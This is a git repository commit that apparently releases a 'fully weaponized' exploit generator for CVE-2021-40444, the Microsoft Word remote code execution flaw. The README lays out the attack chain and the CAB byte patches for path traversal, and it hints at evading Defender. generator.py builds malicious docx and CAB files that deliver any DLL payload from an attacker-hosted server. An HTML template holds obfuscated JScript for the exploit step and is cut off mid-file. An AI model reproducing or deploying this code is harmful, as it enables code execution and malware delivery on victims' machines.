Browse Source

First Release

master
d3adc0de 8 months ago
commit
f2090f1d70
  1. 8
      .gitignore
  2. 98
      README.md
  3. 210
      cab_parser.py
  4. 2
      data/word_dat/[Content_Types].xml
  5. 2
      data/word_dat/_rels/.rels
  6. 2
      data/word_dat/docProps/app.xml
  7. 2
      data/word_dat/docProps/core.xml
  8. 2
      data/word_dat/word/_rels/document.xml.rels
  9. 2
      data/word_dat/word/document.xml
  10. 2
      data/word_dat/word/fontTable.xml
  11. 2
      data/word_dat/word/settings.xml
  12. 2
      data/word_dat/word/styles.xml
  13. 2
      data/word_dat/word/theme/theme1.xml
  14. 2
      data/word_dat/word/webSettings.xml
  15. 222
      generator.py
  16. 3
      template/original.html
  17. 69
      template/sample2.html
  18. 146
      template/sample3.html

8
.gitignore vendored

@ -0,0 +1,8 @@ @@ -0,0 +1,8 @@
venv
out
test
srv
template/sample4-nw.html
!srv/index.html
.idea
__pycache__

98
README.md

@ -0,0 +1,98 @@ @@ -0,0 +1,98 @@
# Fully Weaponized CVE-2021-40444
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files.
# Background
Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability,
as what I found available lacked valuable information that it's worth sharing, also considering Microsoft already
released a patch for this vulnerability.
So far, the only valuable resources I've seen to create a fully working generator are:
* [Blog by Ret2Pwn](https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/)
* [Twit by j00sean](https://twitter.com/j00sean/status/1437390861499838466)
The above resources outline a lot of the requirements needed to create a full chain. As I do not desire
### Chain
* Docx opened
* Relationship stored in document.xml.rels points to malicious html
* IE preview is launched to open the HTML link
* JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file,
prefixed with the ".cpl:" directive
* The cab file is opened, the INF file stored in the %TEMP%\Low directory
* Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP%
* Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32
(if this is a DLL)
### Overlooked Requirements
There are quite a bit of overlooked requirements for this exploit to work, which caused even good PoCs, like
[the one by lockedbyte](https://github.com/lockedbyte/CVE-2021-40444), to fail working properly.
Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched,
so it should not cause a lot of troubles to release the details.
#### CAB File
The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip:
* filename.inf should become ../filename.inf
* filename.inf should be exactly <12-char>.inf
* CFFOLDER.TypeCompress should be 0 (not compressed)
* CFFOLDER.CoffCabStart should be increased by 3
* CFFOLDER.cCfData: should be 2
* CFFile.CbFile should be greater than the whole CFHeader CbCabinet
* CFDATA.csum should be recalculated (or zeroed out)
The reason for these constraints are many, and I didn't spend enough time to deeply understand all of them, but
let's see the most important:
* TypeCompress: If the CAB is compressed, the trick to open it within an object file to trigger the INF write will fail
* CoffCabStart: CoffCabStart gives the absolute position of the first CFDATA structure, as we added a '../',
we would need to increase this by 3 to point to the file (this is more like a guess)
* cCfData: As there is only 1 file, we should have just 1 CFDATA, I'm not too sure why this has to be set to 2
* cbFile: Interestingly, if the CAB extraction concludes without any error, the INF file will be marked for deletion
by WORD, ruining the exploit. The only way to prevent this is to make WORD believe the extraction failed. If the
cbFile value is defined as greater than the cabinet file itself, the extractor will reach an EOF before reading
all the bytes defined in cbFile, raising an extraction error.
* Last but not least, the csum value should be recalculated. Luckily, as noted by [j00sean](https://twitter.com/j00sean)
and according to [MS documentation](http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf),
this value can be 0
NOTE: Defender now detects the CAB file using the `_IMAGE_DOS_HEADER.e_magic` value as a signature, potentially avoiding
PE files to be embedded in the CAB. Can this signature be bypassed? As observed before, this is a patched vulnerability,
so I'm not planning to release anything more complex than this. Up to the curious reader to develop this further.
# CAB file parser
The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full
parser. It's a very quick and dirty CAB header viewer I developed to understand what was going on.
# Usage
The generator is trivial to use, and has been tested with a number of different DLL payloads.
```
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-p LPORT] [-c COPY_TO]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-p LPORT, --lport LPORT
Port to use when hosting malicious payload
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
```
# Credits
* [RET2_pwn](https://twitter.com/RET2_pwn) for the amazing blog
* [j00sean](https://twitter.com/j00sean) for the good hints
* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc

210
cab_parser.py

@ -0,0 +1,210 @@ @@ -0,0 +1,210 @@
import sys
from struct import pack, unpack
class CabFormatError(Exception):
def __init__(self, msg):
super().__init__(msg)
class PatchLengthError(Exception):
def __init__(self, msg):
super().__init__(msg)
class Cab:
def __init__(self, data):
self.CFHEADER = CFHeader(data)
self.CFFOLDER = CFFolder(data)
self.CFFILE = CFFile(data)
self.CFFDATA = CFFData(data, start=self.CFFILE.end_offset)
@staticmethod
def seek_null(data, start=0, chunk_size=24):
chunk = data[start:start + chunk_size]
index = chunk.find(b"\x00")
return start + index if index > 0 else -1
def change_set_id(self, value: int):
self.CFHEADER.setID = value
def zero_out_signature(self):
self.CFFDATA.csum = 0
def change_coff_cab_start(self, value: int):
self.CFFOLDER.coffCabStart = value
def change_ccfdata_count(self, value: int):
self.CFFOLDER.cCFData = value
def change_cffile_cbfile(self, value: int):
self.CFFILE.cbFile = value
def make_file_read_only(self):
self.CFFILE.attribs |= 0x1
self.CFFILE.attribs |= 0x2
self.CFFILE.attribs |= 0x4
def change_bytes(self, offset, size, value):
if len(value) < size:
raise PatchLengthError
_bytes = bytearray(self.to_bytes())
_bytes[offset:offset + size] = value[:size]
return bytes(_bytes)
def to_string(self):
return rf"""
CFHeader: {self.CFHEADER.to_string()}
CFFolder: {self.CFFOLDER.to_string()}
CFFile: {self.CFFILE.to_string()}
CFFData: {self.CFFDATA.to_string()}
"""
def to_bytes(self):
return self.CFHEADER.to_bytes() + self.CFFOLDER.to_bytes() + self.CFFILE.to_bytes() + self.CFFDATA.to_bytes()
class CFHeader:
def __init__(self, data):
self.raw = data[:24]
self.signature_display = data[:4].decode()
self.signature = unpack("BBBB", data[:4])
if self.signature_display != "MSCF":
raise CabFormatError("Unknown signature")
self.reserved1 = unpack("<I", data[4:8])[0]
self.cbCabinet = unpack("<I", data[0x8:0xC])[0]
self.reserved2 = unpack("<I", data[0xC:0x10])[0]
self.coffFiles = unpack("<I", data[0x10:0x14])[0]
self.reserved3 = unpack("<I", data[0x14:0x18])[0]
self.versionMajor, self.versionMinor = unpack("BB", data[0x18:0x1A])
self.cFolders = unpack("H", data[0x1A:0x1C])[0]
self.cFiles = unpack("H", data[0x1C:0x1E])[0]
self.flags = unpack("H", data[0x1E:0x20])[0]
self.setID = unpack("H", data[0x20:0x22])[0]
self.iCabinet = unpack("H", data[0x22:0x24])[0]
def to_bytes(self):
_to_bytes = pack("BBBB", self.signature[0], self.signature[1], self.signature[2], self.signature[3])
_to_bytes += pack("<I", self.reserved1)
_to_bytes += pack("<I", self.cbCabinet)
_to_bytes += pack("<I", self.reserved2)
_to_bytes += pack("<I", self.coffFiles)
_to_bytes += pack("<I", self.reserved3)
_to_bytes += pack("B", self.versionMajor)
_to_bytes += pack("B", self.versionMinor)
_to_bytes += pack("H", self.cFolders)
_to_bytes += pack("H", self.cFiles)
_to_bytes += pack("H", self.flags)
_to_bytes += pack("H", self.setID)
_to_bytes += pack("H", self.iCabinet)
return _to_bytes
def to_string(self):
return rf"""
Signature: {self.signature_display}
Reserved1: {self.reserved1}
CbCabinet: {self.cbCabinet}
Reserved2: {self.reserved2}
CoffFiles: {self.coffFiles}
Reserved3: {self.reserved3}
Version: {self.versionMajor}.{self.versionMinor}
CFolders: {self.cFolders}
CFiles: {self.cFiles}
Flags: {self.flags}
SetID: {self.setID}
ICabinet: {self.iCabinet}
"""
class CFFolder:
def __init__(self, data):
self.raw = data[0x24:0x2B]
self.coffCabStart = unpack("<I", data[0x24:0x28])[0]
self.cCFData = unpack("H", data[0x28:0x2A])[0]
self.typeCompress = unpack("H", data[0x2A:0x2C])[0]
def to_bytes(self):
_to_bytes = pack("<I", self.coffCabStart)
_to_bytes += pack("H", self.cCFData)
_to_bytes += pack("H", self.typeCompress)
return _to_bytes
def to_string(self):
return rf"""
CoffCabStart: {self.coffCabStart}
CCFData: {self.cCFData}
TypeCompress: {self.typeCompress}
"""
class CFFile:
def __init__(self, data):
self.raw = data[0x2C:0x44]
self.cbFile = unpack("<I", data[0x2C:0x30])[0]
self.uoffFolderStart = unpack("<I", data[0x30:0x34])[0]
self.iFolder = unpack("H", data[0x34:0x36])[0]
self.date = unpack("H", data[0x36:0x38])[0]
self.time = unpack("H", data[0x38:0x3A])[0]
self.attribs = unpack("H", data[0x3A:0x3C])[0]
self.end_offset = Cab.seek_null(data, start=0x3C + 0x1, chunk_size=128) + 1
self.szName = data[0x3C:self.end_offset].decode()
def to_bytes(self):
_to_bytes = pack("<I", self.cbFile)
_to_bytes += pack("<I", self.uoffFolderStart)
_to_bytes += pack("H", self.iFolder)
_to_bytes += pack("H", self.date)
_to_bytes += pack("H", self.time)
_to_bytes += pack("H", self.attribs)
_to_bytes += self.szName.encode()
return _to_bytes
def to_string(self):
return rf"""
CbFile: {self.cbFile}
UoffFolderStart: {self.uoffFolderStart}
IFolder: {self.iFolder}
Date: {self.date}
Time: {self.time}
Attribs: {self.attribs}
SzName: {self.szName}
"""
class CFFData:
def __init__(self, data, start):
self.raw = data[start:]
self.csum = unpack("<I", data[start:start + 4])[0]
self.cbData = unpack("H", data[start + 4:start + 6])[0]
self.cbUncomp = unpack("H", data[start + 6:start + 8])[0]
self.ab_display = data[start + 8:start + 18] + data[-10:]
self.ab = self.raw[8:]
def to_bytes(self):
_to_bytes = pack("<I", self.csum)
_to_bytes += pack("H", self.cbData)
_to_bytes += pack("H", self.cbUncomp)
_to_bytes += self.raw[8:]
return _to_bytes
def to_string(self):
return rf"""
Checksum: {self.csum}
CbData: {self.cbData}
CbUncompressed: {self.cbUncomp}
Ab: {self.ab_display}
"""
def parse(file):
data = open(file, "rb").read()
cab = Cab(data=data)
print(cab.to_string())
new_cab = cab.change_bytes(offset=0x58, size=4, value=b"MZ\x90\x00")
print(Cab(new_cab).to_string())
with open(file, "wb") as out:
out.write(Cab(new_cab).to_bytes())
if __name__ == "__main__":
parse(file=sys.argv[1])

2
data/word_dat/[Content_Types].xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

2
data/word_dat/_rels/.rels

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>

2
data/word_dat/docProps/app.xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>34</TotalTime><Pages>1</Pages><Words>206</Words><Characters>1176</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>9</Lines><Paragraphs>2</Paragraphs><ScaleCrop>false</ScaleCrop><Company>Consumers Association</Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>1380</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>

2
data/word_dat/docProps/core.xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Microsoft</dc:creator><dc:description></dc:description><cp:lastModifiedBy>user</cp:lastModifiedBy><cp:revision>6</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2013-10-31T15:25:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2021-08-31T16:47:00Z</dcterms:modified><dc:language>en-US</dc:language></cp:coreProperties>

2
data/word_dat/word/_rels/document.xml.rels

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:<EXPLOIT_HOST_HERE>!x-usc:<EXPLOIT_HOST_HERE>" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/></Relationships>

2
data/word_dat/word/document.xml

File diff suppressed because one or more lines are too long

2
data/word_dat/word/fontTable.xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000247B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Trebuchet MS"><w:panose1 w:val="020B0603020202020204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="00000687" w:usb1="00000000" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000785B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="OpenSymbol"><w:altName w:val="Cambria"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Droid Sans Fallback"><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Droid Sans Devanagari"><w:altName w:val="Segoe UI"/><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E00006FF" w:usb1="420024FF" w:usb2="02000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>

2
data/word_dat/word/settings.xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15 w16se w16cid"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:autoHyphenation/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="useWord2013TrackBottomHyphenation" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="00642844"/><w:rsid w:val="00642844"/><w:rsid w:val="007E0FA4"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US" w:eastAsia="" w:bidi=""/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w14:docId w14:val="74811FD2"/><w15:docId w15:val="{9951342C-DC33-4E0E-84C6-943EC8FBAAD2}"/></w:settings>

2
data/word_dat/word/styles.xml

File diff suppressed because one or more lines are too long

2
data/word_dat/word/theme/theme1.xml

File diff suppressed because one or more lines are too long

2
data/word_dat/word/webSettings.xml

@ -0,0 +1,2 @@ @@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"/>

222
generator.py

@ -0,0 +1,222 @@ @@ -0,0 +1,222 @@
#!/usr/bin/env python3
# Microsoft Office Remote Code Execution Exploit via Logical Bug
# Result is ability for attackers to execute arbitrary custom DLL's
# downloaded and executed on target system
import argparse
import binascii
import random
import re
import shutil
import string
import struct
import sys
import os
import subprocess
import traceback
from pathlib import Path
from cab_parser import Cab
from in_place import InPlace
def patch_cab(path: Path, original_inf_path, patched_inf_path):
with InPlace(str(path.absolute()), mode="b") as out_cab:
cab = Cab(out_cab.read())
print(" [*] Setting setID to 1234")
cab.change_set_id(1234)
print(" [*] Setting CFFolder.coffCabStart to 80")
cab.change_coff_cab_start(80)
print(" [*] Setting CFFolder.CCFData to 2")
cab.change_ccfdata_count(2)
size = struct.unpack("<I", b"\x00\x22\x44\x00")[0]
print(f" [*] Setting CFFile.CbFile to {size}")
cab.change_cffile_cbfile(size)
print(" [*] Making INF file read only")
cab.make_file_read_only()
print(" [*] Zeroing out Checksum")
cab.zero_out_signature()
out_cab.write(cab.to_bytes())
with InPlace(str(path.absolute()), mode="b") as out_cab:
content = out_cab.read()
content = content.replace(original_inf_path, patched_inf_path)
print(f" [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'")
out_cab.write(content)
def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path):
# We need to generate a DDF file for makecab to work properly
# CabinetNameTemplate = Basename of the cab file
# DiskDirectoryTemplate = Directory where the cab file will be
with open(str(ddf_file.absolute()), "w") as ddf:
ddf.write(rf""".OPTION EXPLICIT
.Set CabinetNameTemplate={cab_file.name}
.set DiskDirectoryTemplate={cab_file.parent.name}
.Set CompressionType=MSZIP
.Set UniqueFiles=OFF
.Set Cabinet=ON
.Set Compress=OFF
.Set CabinetFileCountThreshold=0
.Set FolderFileCountThreshold=0
.Set FolderSizeThreshold=0
.Set MaxCabinetSize=0
.Set MaxDiskFileCount=0
.Set MaxDiskSize=0
{inf_file.absolute()}""")
def execute_cmd(cmd, execute_from=None):
try:
subprocess.check_output(
cmd,
shell=True,
cwd=execute_from
)
except subprocess.CalledProcessError as calledProcessError:
print(calledProcessError)
exit(1)
def generate_payload(payload, server_url, basename, copy_to=None):
# Current Working Directory
working_directory = Path(__file__).parent
# Relevant directories for Execution
data_path = working_directory.joinpath("data")
word_dat_path = data_path.joinpath("word_dat")
srv_path = working_directory.joinpath("srv")
out_path = working_directory.joinpath("out")
cab_path = working_directory.joinpath("cab")
template_path = working_directory.joinpath("template")
# Relevant files
tmp_path = data_path.joinpath("tmp_doc")
word_dll = data_path.joinpath(f'{basename}.dll')
word_doc = out_path.joinpath('document.docx')
ddf = data_path.joinpath('mswordcab.ddf')
cab_file = out_path.joinpath(f"{basename}.cab")
inf_file = cab_path.joinpath(f"{basename}.inf")
html_template_file = template_path.joinpath("sample3.html")
html_final_file = srv_path.joinpath(f"{basename}.html")
# Checking ephemeral directories
tmp_path.mkdir(exist_ok=True)
cab_path.mkdir(exist_ok=True)
print(f' [>] Payload: {payload}')
print(f' [>] HTML/CAB Hosting Server: {server_url}')
try:
payload_content = open(payload, 'rb').read()
with open(str(word_dll), 'wb') as filep:
filep.write(payload_content)
except FileNotFoundError:
print('[-] DLL Payload specified not found!')
exit(1)
except Exception as e:
print(f"[-] Exception: {e}")
exit(1)
shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...')
with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
xml_content = rels.read()
xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
rels.write(xml_content)
print('[*] Packing MS Word .docx file...')
word_doc.unlink(missing_ok=True)
shutil.make_archive(str(word_doc), 'zip', str(tmp_path))
shutil.move(str(word_doc) + ".zip", str(word_doc))
shutil.rmtree(str(tmp_path))
print('[*] Generating CAB file...')
make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file)
shutil.move(word_dll, inf_file)
execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
patched_path = f'../{inf_file.name}'.encode()
patch_cab(cab_file, str(inf_file.name).encode(), patched_path)
shutil.copy(cab_file, srv_path)
shutil.copy(ddf, srv_path)
word_dll.unlink(missing_ok=True)
inf_file.unlink(missing_ok=True)
ddf.unlink(missing_ok=True)
shutil.rmtree(str(cab_path.absolute()))
print('[*] Updating information on HTML exploit...')
shutil.copy(str(html_template_file), str(html_final_file))
print('[*] Copying MS Word .docx to Desktop for local testing...')
dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name)
dest.unlink(missing_ok=True)
shutil.copy(str(word_doc.absolute()), dest)
if copy_to and os.path.isdir(copy_to):
print(f'[*] Copying malicious cab to {copy_to} for analysis...')
dest = Path(copy_to).joinpath(cab_file.name)
dest.unlink(missing_ok=True)
shutil.copy(str(cab_file.absolute()), dest)
print(f' [>] CAB file stored at: {cab_file}')
with InPlace(str(html_final_file)) as p_exp:
content = p_exp.read()
content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{cab_file.name}")
content = content.replace('<INF_CHANGE_HERE>', f"{inf_file.name}")
p_exp.write(content)
print(f'[+] Success! MS Word Document stored at: {word_doc}')
def start_server(lport, directory: Path):
subprocess.Popen(
f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}',
shell=True,
close_fds=True,
stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
creationflags=subprocess.DETACHED_PROCESS
)
def clean():
pass
def validate_filename(filename):
# Required length for the file name
required_length = 12
current_length = 0 if not filename else len(filename)
gap = required_length - current_length
return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
parser.add_argument('-P', '--payload', type=str, required=True,
help="DLL payload to use for the exploit")
parser.add_argument('-u', '--url', type=str, default=None, required=True,
help="Server URL for malicious references (CAB->INF)")
parser.add_argument('-o', '--output', type=str, default=None, required=False,
help="Output files basename (no extension)")
parser.add_argument('--host', action='store_true', default=False, required=False,
help="If set, will host the payload after creation")
parser.add_argument('-p', '--lport', type=int, default=8080, required=False,
help="Port to use when hosting malicious payload")
parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
help="Copy payload to an alternate path")
args = parser.parse_args()
filename = validate_filename(args.output)
print('[*] Generating a malicious payload...')
try:
generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to)
except:
traceback.print_exc()
if args.host:
print('[*] Hosting HTML Exploit...')
start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv"))

3
template/original.html

File diff suppressed because one or more lines are too long

69
template/sample2.html

@ -0,0 +1,69 @@ @@ -0,0 +1,69 @@
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
</head>
<body>
<script>
function garbage() {
return 'garbage';
}
(function exploit() {
var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe');
try {
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe);
} catch (_0x1ab454) {
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe);
}
var htmlfile = iframe['contentWindow']['ActiveXObject'], htmlfile2 = new htmlfile('htmlfile');
iframe['contentDocument']['open']()['close']();
try {
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe);
